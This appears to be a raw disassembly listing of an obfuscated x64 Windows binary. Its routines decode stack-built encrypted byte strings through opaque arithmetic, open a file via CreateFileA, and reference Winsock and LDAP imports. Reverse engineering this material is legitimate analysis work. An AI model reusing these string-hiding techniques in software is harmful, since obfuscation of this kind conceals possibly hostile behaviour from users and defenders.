lea rax, [r10 + rdi]
cmp rax, 0x400
je 0x1401504f1
lea rax, [r10 + 0x80]
cmp rdi, rax
jbe 0x140150314
movabs rdx, 0x5ed409f1157d68d2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401500b8
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015028a
movabs rdx, 0x996c3934ae458f84
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015071d
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401502b9
movabs rdx, 0xa808d0f08e1b6c6c
mov ecx, 6
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140150695
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401502e4
movabs rcx, 0xaf571cce7e065ae0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
jmp 0x140150662
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140150215
movabs rcx, 0xb6a568ac6df14954
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4c
jmp 0x14015065f
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140150343
movabs rdx, 0x662255cf05685746
add rdx, r9
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401505a3
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14015036f
movabs rdx, 0x7c0d3968d52922a2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6e
add bl, dl
jmp 0x140150616
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14015039e
movabs rdx, 0x835b8546c5141116
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015065f
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401503cd
movabs rdx, 0x8aa9d124b4feff8a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140150662
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401503fa
movabs rdx, 0x91f81d02a4e9edfe
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 7
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140150693
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401500b8
movabs rcx, 0x994668e094d4dc72
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1e
jmp 0x1401506c9
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140150454
movabs rcx, 0x32d872695c8b1f08
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x14015071d
cmp rdi, rcx
jne 0x14015047c
movabs rdx, 0x3a26be474c760d7c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x64
add bl, dl
jmp 0x1401506c9
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140150499
movabs rdx, 0x41750a253c60fbf0
mov ecx, Ordinal_60
jmp 0x1401502a2
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140150065
movabs rcx, 0x575fedbf0c21c74c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x140150616
movabs rdx, 0x7be76914bbb86f90
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0x610]
jmp 0x140150611
movabs rcx, 0x8335b4f2aba35e04
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0x610]
lea ebx, [r8 + rcx]
sub bl, 0x1c
jmp 0x140150695
movabs rdx, 0x7287b89d67a3b62
mov ecx, reloc.WLDAP32.dll_Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401506c9
movabs rcx, 0xf13d97f006b97006
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2a
jmp 0x14015065f
movabs rdx, 0xe2a1003426e3931e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401505ed
movabs rcx, 0xd4046878470db636
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
movabs rcx, 0xf8404325c3c2f856
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x5a
add cl, r8b
mov byte [rbp + r9 + 0x610], cl
jmp 0x1401505ea
movabs rdx, 0xbe1984de774ceada
mov ecx, 5
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
add r10, r15
sub r9, r15
jmp 0x14015072c
movabs rdx, 0xaf7ced2297770df2
mov ecx, Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rcx, 0xff8e8f03b3ade6ca
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0x3d
sub dl, al
add dl, dl
add dl, cl
add dl, bl
add dl, r8b
mov byte [rbp + r9 + 0x610], dl
jmp 0x14015065f
movabs rcx, 0xa82ea144a78c1f7e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x72
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14015072c
mov r8, r11
movabs rdx, 0x99920988c7b64296
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov bl, r11b
sub bl, al
sub bl, 0x1a
add bl, dl
movabs rdx, 0x6dcdae1a398d53e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x610], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0x8a8400d09b8e4c78
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x48
add cl, r8b
mov byte [rbp + r9 + 0x610], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14015071d
movabs rdx, 0x8af571cce7e065ae
add rdx, r9
mov al, r11b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movzx eax, byte [rbp + r9 + 0x610]
add rax, r10
add r9, rax
add r9, r15
jmp 0x14014fbdf
movabs rdx, 0x65d6b526d286f122
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014fbd6
movabs rdx, 0x5e886948e29c02ae
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014fbc6
lea rcx, [rbp + 0x16c2108]
jmp 0x140150799
lea rcx, [rbp + 0xa19842]
jmp 0x140150799
lea rcx, [rbp + 0x610]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
or r12, 0xffffffffffffffff
cmp rax, r12
je 0x1401558a4
mov byte [rbp + 0xaf0], 0x9b
mov byte [rbp + 0xaf1], 0x59
mov byte [rbp + 0xaf2], 0x80
mov byte [rbp + 0xaf3], 0x5b
mov byte [rbp + 0xaf4], 0xa0
mov byte [rbp + 0xaf5], 0x45
mov byte [rbp + 0xaf6], 0xbb
mov byte [rbp + 0xaf7], 0x47
mov byte [rbp + 0xaf8], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xaf9], 0x41
mov byte [rbp + 0xafa], 0xaf
mov byte [rbp + 0xafb], 0x43
mov byte [rbp + 0xafc], 0xde
mov byte [rbp + 0xafd], Ordinal_79
mov byte [rbp + 0xafe], 0xdd
mov byte [rbp + 0xaff], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xb00], 0xac
mov byte [rbp + 0xb01], Ordinal_79
mov byte [rbp + 0xb02], 0x86
mov byte [rbp + 0xb03], Ordinal_79
mov byte [rbp + 0xb04], 0x99
mov byte [rbp + 0xb05], 0x75
mov byte [rbp + 0xb06], 0x98
mov byte [rbp + 0xb07], 0x77
mov byte [rbp + 0xb08], __WSAFDIsSet
mov byte [rbp + 0xb09], WSACleanup
mov byte [rbp + 0xb0a], 0xef
mov byte [rbp + 0xb0b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xb0c], 0xe8
mov byte [rbp + 0xb0d], 0x7d
mov byte [rbp + 0xb0e], 0xe2
mov byte [rbp + 0xb0f], 0x7f
mov byte [rbp + 0xb10], 0x9c
mov byte [rbp + 0xb11], 0x79
mov byte [rbp + 0xb12], 0xbb
mov byte [rbp + 0xb13], 0x7b
mov byte [rbp + 0xb14], 0xf4
mov byte [rbp + 0xb15], 0x65
mov byte [rbp + 0xb16], 0xf6
mov byte [rbp + 0xb17], 0x67
mov byte [rbp + 0xb18], 0xac
mov byte [rbp + 0xb19], 0x61
mov byte [rbp + 0xb1a], 0x83
mov byte [rbp + 0xb1b], 0x63
mov byte [rbp + 0xb1c], 0xf0
mov byte [rbp + 0xb1d], WSASetLastError
mov byte [rbp + 0xb1e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xb1f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xb20], Ordinal_143
mov byte [rbp + 0xb21], WSAGetLastError
mov byte [rbp + 0xb22], 0xa7
mov byte [rbp + 0xb23], WSASetLastError
mov byte [rbp + 0xb24], 0x88
mov byte [rbp + 0xb25], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xb26], 0xfe
mov byte [rbp + 0xb27], reloc.WS2_32.dll_socket
mov byte [rbp + 0xb28], 0xfd
mov byte [rbp + 0xb29], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xb2a], 0x80
mov byte [rbp + 0xb2b], reloc.WS2_32.dll_send
mov byte [rbp + 0xb2c], 0xfd
mov byte [rbp + 0xb2d], Ordinal_32
mov byte [rbp + 0xb2e], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xb2f], Ordinal_32
mov byte [rbp + 0xb30], 0xfa
mov byte [rbp + 0xb31], Ordinal_27
mov byte [rbp + 0xb32], 0xf3
mov byte [rbp + 0xb33], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xb34], __WSAFDIsSet
mov byte [rbp + 0xb35], 5
mov byte [rbp + 0xb36], 6
mov byte [rbp + 0xb37], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb38], xmm0
mov qword [rbp + 0xb48], rax
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r9, qword [rax]
mov r10, r13
cmp r10, 0x60
jae 0x140151405
movzx r8d, byte [rbp + r10 + 0xaf0]
mov r11d, r8d
cmp rbx, r10
ja 0x1401513fc
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x140150a38
movabs rcx, 0xe2ff43c1b0c1bb8c
add rcx, r10
mov eax, r8d
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r8
add rdi, rcx
add dil, 0x2c
jmp 0x140150a65
je 0x140151377
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140151324
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401512c2
lea rax, [r9 + 3]
cmp rbx, rax
je 0x14015129b
cmp r9, r10
ja 0x1401513f3
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x140150a9d
movabs rcx, 0x9ef08ee37fe4627c
add rcx, r10
mov al, r8b
and al, cl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x64
add dil, cl
jmp 0x140150ad1
lea rax, [r9 + 1]
cmp rbx, rax
je 0x140151251
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14015122d
lea rax, [r9 + 4]
cmp rbx, rax
je 0x14015120a
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401511e6
mov r11d, Ordinal_32
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x140150e07
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x140150de4
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x140150dd0
lea rax, [r9 + 8]
cmp rbx, rax
je 0x140150dac
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x140150d88
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x140150d65
lea rax, [r9 + 9]
cmp rbx, rax
je 0x140150d54
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x1401513cf
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x1401513ac
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x140150bfc
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x140150d40
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x140150d11
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x140150ae4
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x140150cfd
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x140150cd9
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x140150cb6
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x140150c8f
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x140150c68
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x140150c44
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x140150c21
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x140150ae4
movabs rdx, 0x4099ca2af930d504
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r11b
jmp 0x140150ad7
movabs rdx, 0xf784771bff2313e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x20
jmp 0x14015126f
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x78
jmp 0x140151296
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401512ba
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140151312
movabs rdx, 0x538d4a07b60e4950
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x30
jmp 0x1401511aa
movabs rdx, 0x8d8ec284548ad238
mov ecx, reloc.WLDAP32.dll_Ordinal_60
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140151342
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140150ef7
movabs rdx, 0x5893e8387f3eb164
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r10 + 0xaf0], dil
jmp 0x1401513a4
movabs rdx, 0x69851ae5ab44c1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x140150e23
movabs rdx, 0xf3a4d1d19dd6d7d0
mov ecx, Ordinal_41
jmp 0x140150ce8
movabs rdx, 0x2da64a4e3c5360b8
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 8
jmp 0x1401511aa
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x60
jmp 0x140151312
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x1401512ba
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14015123c
movabs rdx, 0x89af1d39f33e9628
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x14015126f
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x140150ee1
movabs rdx, 0xe2ff43c1b0c1bb8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r9 + rbx]
cmp rax, 2
je 0x140151185
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x140150fc4
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp rbx, 0x80
jae 0x14015115d
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x14015106c
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp r9, 0x42
jb 0x140150d33
movabs rdx, 0x71b4ff2c6d30b9c8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140151272
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140150f0f
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, r11d
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140151395
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140150f3b
movabs rdx, 0xc9de2ccdc2cfb328
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x1401511aa
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140150f68
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x14015130f
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140150f94
movabs rdx, 0x1bd9c357e75a1870
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x10
jmp 0x1401512e1
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x140150e36
movabs rcx, 0x6dd559e20be47db8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x140151272
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140150ff0
movabs rdx, 0xdcd1acaa7fad2774
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x2c
jmp 0x14015126f
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14015100d
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14015123c
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14015103a
movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x74
jmp 0x140151312
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x140150e73
movabs rdx, 0x80c8d9bec8c1f204
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r11b
jmp 0x1401511ad
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140151089
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x140150ef7
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401510b5
movabs rdx, 0x41c0c31161150108
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x38
jmp 0x140151342
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401510e2
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x30
jmp 0x14015130f
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x1401510ff
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1401512d1
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x14015112c
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x1401512ba
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140150eaf
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x28
jmp 0x140151296
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r10 + 0xaf0]
sub dil, al
sub dil, 0x20
jmp 0x1401512de
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, r11d
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0xaf0]
add dil, r8b
add dil, dl
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0xaf0], al
add r9, r15
add rax, r9
sub r10, rax
jmp 0x140151345
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x54
jmp 0x140151312
movabs rdx, 0xb6eaacf105f23edc
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
jmp 0x1401512e1
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140151296
movabs rdx, 0x64ef1666e167d994
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xc
add dil, dl
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r8b
mov byte [rbp + r10 + 0xaf0], cl
add r9, r15
jmp 0x1401512ba
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
sub r10, r15
jmp 0x1401513a4
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rcx, 0x1ab2ca717f75ec6c
add rcx, r10
mov al, cl
and al, r8b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, dil
add dl, r8b
mov byte [rbp + r10 + 0xaf0], dl
add rbx, r9
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
jmp 0x1401513a4
movabs rdx, 0x6efc52c873c8a9bc
add rdx, r10
mov al, dl
and al, r11b
add al, al
mov dil, r11b
sub dil, al
sub dil, 0x24
add dil, dl
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x70
add cl, r8b
mov byte [rbp + r10 + 0xaf0], cl
add rbx, r15
mov rax, r12
sub rax, rbx
add r10, rax
jmp 0x140151395
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, r11b
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0xaf0]
add rax, r9
add r10, rax
add r10, r15
jmp 0x1401509ed
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
jmp 0x1401509ea
movabs rcx, 0x289fac1d7322f8a4
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7c
jmp 0x1401509da
lea rdx, [rbp + 0x16a0d00]
jmp 0x14015140c
lea rdx, [rbp + 0x6bc88c]
jmp 0x14015140c
lea rdx, [rbp + 0xaf0]
lea rcx, [rbp + 0x98]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x21f0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140151441
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov esi, 2
mov r8d, esi
lea rcx, [rbp + 0x21f0]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x21f0]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x21f0]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x910], 0x9b
mov byte [rbp + 0x911], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x912], 0x90
mov byte [rbp + 0x913], 0xdb
mov byte [rbp + 0x914], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x915], Ordinal_217
mov byte [rbp + 0x916], 0x7b
mov byte [rbp + 0x917], Ordinal_217
mov byte [rbp + 0x918], 0x43
mov byte [rbp + 0x919], Ordinal_211
mov byte [rbp + 0x91a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x91b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x91c], 0x5e
mov byte [rbp + 0x91d], Ordinal_211
mov byte [rbp + 0x91e], 0x5d
mov byte [rbp + 0x91f], Ordinal_211
mov byte [rbp + 0x920], WSASetLastError
mov byte [rbp + 0x921], 0xc9
mov byte [rbp + 0x922], 0x7a
mov byte [rbp + 0x923], 0xcb
mov byte [rbp + 0x924], Ordinal_79
mov byte [rbp + 0x925], Ordinal_200
mov byte [rbp + 0x926], 0x64
mov byte [rbp + 0x927], Ordinal_200
mov byte [rbp + 0x928], 0x54
mov byte [rbp + 0x929], 0xc1
mov byte [rbp + 0x92a], 0x5b
mov byte [rbp + 0x92b], Ordinal_200
mov byte [rbp + 0x92c], 0x9f
mov byte [rbp + 0x92d], 0x3d
mov byte [rbp + 0x92e], 0x9a
mov byte [rbp + 0x92f], 0x3f
mov byte [rbp + 0x930], 0x84
mov byte [rbp + 0x931], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x932], 0xa8
mov byte [rbp + 0x933], Ordinal_60
mov byte [rbp + 0x934], 0xad
mov byte [rbp + 0x935], gethostname
mov byte [rbp + 0x936], 0xb8
mov byte [rbp + 0x937], Ordinal_60
mov byte [rbp + 0x938], 0xad
mov byte [rbp + 0x939], Ordinal_50
mov byte [rbp + 0x93a], 0xa0
mov byte [rbp + 0x93b], gethostname
mov byte [rbp + 0x93c], 0xbf
mov byte [rbp + 0x93d], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x93e], 0x78
mov byte [rbp + 0x93f], Ordinal_50
mov byte [rbp + 0x940], Ordinal_143
mov byte [rbp + 0x941], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x942], 0xb3
mov byte [rbp + 0x943], Ordinal_46
mov byte [rbp + 0x944], 0xb2
mov byte [rbp + 0x945], Ordinal_41
mov byte [rbp + 0x946], Ordinal_41
mov byte [rbp + 0x947], Ordinal_41
xor eax, eax
mov qword [rbp + 0x948], rax
mov dword [rbp + 0x950], eax
mov word [rbp + 0x954], ax
mov byte [rbp + 0x956], al
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x47
jae 0x14015211d
movzx r8d, byte [rbp + r9 + 0x910]
mov rdx, r8
cmp rdi, r9
ja 0x140152114
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140151686
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
